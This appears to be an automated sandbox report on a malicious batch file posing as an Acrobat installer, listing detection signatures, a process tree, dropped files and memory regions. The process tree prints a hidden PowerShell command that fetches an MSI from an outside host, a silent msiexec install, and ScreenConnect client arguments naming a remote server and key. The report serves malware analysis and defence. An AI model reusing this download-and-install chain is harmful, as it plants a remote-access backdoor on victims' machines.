Analysis

  • max time kernel
    149s
  • max time network
    138s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 00:09

General

  • Target
    Acrobat_Set-Up_7474.bat
  • Size 1KB
  • Sample261102-afnd4a1v7p
  • SHA256 c5053c0cc718d7e59f89f1781f50a46bf750417421231e996f85406a839e6faa
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Acrobat_Set-Up_7474.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3424
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\Acrobat_Set-Up_7474.bat" hidden
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3340
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5076
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:4412
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; try{ Invoke-WebRequest -UseBasicParsing -Uri 'https://hundred.alwaysdata.net/Setup.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\SCInstall\ScreenConnect.ClientSetup.msi' -TimeoutSec 120 }catch{ exit 1 }"
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4556
        • C:\Windows\system32\msiexec.exe
          msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\SCInstall\ScreenConnect.ClientSetup.msi" /qn /norestart /l*v "C:\Users\Admin\AppData\Local\Temp\SCInstall\ScreenConnectInstall.log"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1540
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:6124
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 736DD720DD760F8D11964A226A7D35BE
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5112
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI4B14.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240798953 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:3200
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7486B8D026E282EBEE5BD4CB2C7A9380 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4984
    • C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=188.253.110.249&p=8041&s=ced20ae9-c283-4b47-a900-ce72d00e4d2b&k=BgIAAACkAABSU0ExAAgAAAEAAQAZ6Wreu8dJmikuolCgU25rxiB7g7wvX1SWDGGNPOdwKXK%2bpJZKlkcCSyE6aLg3uK9RxA5yisOj78lbYFPaBaPPfSmyWZ%2bR05SMk2Pd0Rys%2f3iVDAHz7d5GEvflLeSxQzk%2fDEsC%2bKo4R%2f%2fh2ZgGHytqPRsQ5uCzD8M9HoT3SyF2uG2O9GP708j0bU5GKJGiDRHwoEvkKYFzLV6pRGOn5pimBS1Zy1lupozw8hbJ%2fKBVqvozmtHdr0L0MkjK63NmBGhloL4gxTqI5FTti5cBidh54w3n6u4dmQeApX9LV%2bkViCHHpw50p5YNCxD74BjEHeDYSaOIIFTFEnFh3JbO7GbG"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3084
      • C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.WindowsClient.exe" "RunRole" "16f2d500-0fce-496a-8f25-904100e7935a" "User"
        2⤵
        • Executes dropped EXE
        PID:3396
      • C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.WindowsClient.exe" "RunRole" "89ca18d6-678f-4a3b-a3a3-fa52550f3426" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4944

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5a4867.rbs

          • Path C:\Config.Msi\e5a4867.rbs
          • Size 214KB
          • SHA256 363ddd51423bab684298766fb47757f0956d12c8bf2dc5c23f113c8fe6d87002
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\Client.Override.resources
          • Size 14KB
          • SHA256 ec6cdfc121db4a43fdc1a4b9e2e93a1e477c90c893608d63ce4d9a0c8425ce22
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\app.config
          • Size 2KB
          • SHA256 a5b68c1e6dddf7e3b6cb4ff4a28180ad599620b028e61153bdcdf58ed01df879
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (65cd8f2962e91552)\system.config
          • Size 939B
          • SHA256 797b0f44fc6acbf88d655c2aee8ae6ed25e0a962645c9ff65de26ca188ce316b
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\SCInstall\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 fbbaa0d23ebd999705cc53572824bf16ed93f9006291b7afc0a73ea2cb467482
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnectInstall.log

          • Path C:\Users\Admin\AppData\Local\Temp\SCInstall\ScreenConnectInstall.log
          • Size 1KB
          • SHA256 5bc3aec03771b1604688687d08ed4dea178a8db9268f729a9f25bde0189adf29
          • MD5 SHA1 SHA512 TLSH

          MSI4B14.tmp

          • Path C:\Windows\Installer\MSI4B14.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI4B14.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI4B14.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI4B14.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI4B14.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI54AB.tmp

          • Path C:\Windows\Installer\MSI54AB.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3084-135-0x0000000004BE0000-0x0000000004C21000-memory.dmp

          memory/3084-103-0x0000000002080000-0x0000000002098000-memory.dmp

          memory/3084-132-0x0000000004BA0000-0x0000000004BD6000-memory.dmp

          memory/3084-133-0x0000000004C80000-0x0000000004D12000-memory.dmp

          memory/3084-128-0x0000000004B50000-0x0000000004BA0000-memory.dmp

          memory/3084-137-0x0000000004E70000-0x0000000004F45000-memory.dmp

          memory/3200-63-0x0000000005820000-0x00000000059CC000-memory.dmp

          memory/3200-51-0x0000000005500000-0x000000000552E000-memory.dmp

          memory/3200-55-0x0000000005540000-0x000000000554A000-memory.dmp

          memory/3200-64-0x0000000005F90000-0x000000000654A000-memory.dmp

          memory/3200-59-0x00000000055E0000-0x000000000566C000-memory.dmp

          memory/3396-151-0x000000001BDC0000-0x000000001BF6C000-memory.dmp

          memory/3396-148-0x0000000000B90000-0x0000000000C28000-memory.dmp

          memory/3396-149-0x0000000002EA0000-0x0000000002ED6000-memory.dmp

          memory/3396-150-0x000000001B760000-0x000000001B7EC000-memory.dmp

          memory/3396-152-0x000000001C100000-0x000000001C288000-memory.dmp

          memory/3396-153-0x0000000002E60000-0x0000000002E78000-memory.dmp

          memory/3396-154-0x0000000002FF0000-0x0000000003008000-memory.dmp

          memory/4556-18-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-8-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-12-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-14-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-11-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-15-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-16-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-10-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-0-0x00007FFFBD97F000-0x00007FFFBD980000-memory.dmp

          memory/4556-17-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-9-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-13-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-7-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-6-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-5-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-2-0x000002337E3A0000-0x000002337E3C2000-memory.dmp

          memory/4556-1-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-28-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-20-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-21-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-22-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-23-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-24-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp

          memory/4556-25-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp